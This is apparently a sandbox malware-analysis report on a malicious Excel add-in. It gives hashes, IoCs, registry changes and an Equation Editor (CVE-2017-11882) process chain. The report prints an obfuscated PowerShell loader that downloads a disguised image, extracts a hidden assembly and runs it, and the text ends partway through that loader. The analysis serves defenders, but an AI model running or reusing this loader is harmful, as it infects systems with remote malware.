ad6dabfbf9b343f2a04f6cdfbc34411b378212dea73d669cab262564420d6ecb

Analysis

max time kernel
140s
max time network
133s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
11/10/2023, 06:42

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General

Target

PO-674394.xlam
Size

642KB
MD5

66013791a9a70b8b6429a842ee029ccd
SHA1

a8c5aaf7a3f794bda85717f264a65075c80a10a1
SHA256

ad6dabfbf9b343f2a04f6cdfbc34411b378212dea73d669cab262564420d6ecb
SHA512

9935eb3e66ccf49d3342c88324c6f838239e68d7e28010b1cb4b73b4db0351d200fdfec67a6d2ee53b14b6e9812b5eefcd004a9ea46bc3f99fd96abea206520f
SSDEEP

12288:Kqs/irVm8pm8UKkayx+Uu1oNR4rdCTflYmWu4K+7ZGGnaZZg9xQ9ar6MnDwI:Bqyg8rovs6WC7Su4K+7OZSnUHMnDl

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937

exe.dropper

https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2736	EQNEDT32.EXE
6	2376	powershell.exe
9	2376	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2736	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2200	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2596	powershell.exe
2376	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeDebugPrivilege	2376	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2200	EXCEL.EXE
2200	EXCEL.EXE
2200	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2736 wrote to memory of 2576	2736	EQNEDT32.EXE	33
PID 2736 wrote to memory of 2576	2736	EQNEDT32.EXE	33
PID 2736 wrote to memory of 2576	2736	EQNEDT32.EXE	33
PID 2736 wrote to memory of 2576	2736	EQNEDT32.EXE	33
PID 2576 wrote to memory of 2596	2576	WScript.exe	34
PID 2576 wrote to memory of 2596	2576	WScript.exe	34
PID 2576 wrote to memory of 2596	2576	WScript.exe	34
PID 2576 wrote to memory of 2596	2576	WScript.exe	34
PID 2596 wrote to memory of 2376	2596	powershell.exe	37
PID 2596 wrote to memory of 2376	2596	powershell.exe	37
PID 2596 wrote to memory of 2376	2596	powershell.exe	37
PID 2596 wrote to memory of 2376	2596	powershell.exe	37

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PO-674394.xlam
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2200

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\yhsdfsopl.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2576
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre2DgTreDEDgTreNgDgTrevDgTreDYDgTreMDgTreDgTre5DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrecgB1DgTreG0DgTrecDgTreBfDgTreHYDgTreYgBzDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDYDgTreOQDgTre1DgTreDQDgTreMDgTreDgTre4DgTreDkDgTreMwDgTre3DgTreCcDgTreOwDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB3DgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTreuDgTreEQDgTrebwB3DgTreG4DgTrebDgTreBvDgTreGEDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreKQDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreUwBUDgTreEEDgTreUgBUDgTreD4DgTrePgDgTrenDgTreDsDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreRQBODgTreEQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCDgTreDgTrePQDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreUwB1DgTreGIDgTrecwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreLDgTreDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreKQDgTre7DgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFIDgTreZQBmDgTreGwDgTreZQBjDgTreHQDgTreaQBvDgTreG4DgTreLgBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreXQDgTre6DgTreDoDgTreTDgTreBvDgTreGEDgTreZDgTreDgTreoDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTregDgTreD0DgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTreuDgTreEcDgTreZQB0DgTreFQDgTreeQBwDgTreGUDgTreKDgTreDgTrenDgTreEYDgTreaQBiDgTreGUDgTrecgDgTreuDgTreEgDgTrebwBtDgTreGUDgTreJwDgTrepDgTreDsDgTreJDgTreBtDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreLgBHDgTreGUDgTredDgTreBNDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTreoDgTreCcDgTreVgBBDgTreEkDgTreJwDgTrepDgTreC4DgTreSQBuDgTreHYDgTrebwBrDgTreGUDgTreKDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreLDgTreDgTregDgTreFsDgTrebwBiDgTreGoDgTreZQBjDgTreHQDgTreWwBdDgTreF0DgTreIDgTreDgTreoDgTreCcDgTredDgTreB4DgTreHQDgTreLgBzDgTreG0DgTreaDgTreBvDgTreGcDgTrebgDgTrevDgTreDIDgTreNQDgTreuDgTreDgDgTreNDgTreDgTreuDgTreDDgTreDgTreMQDgTrexDgTreC4DgTreOQDg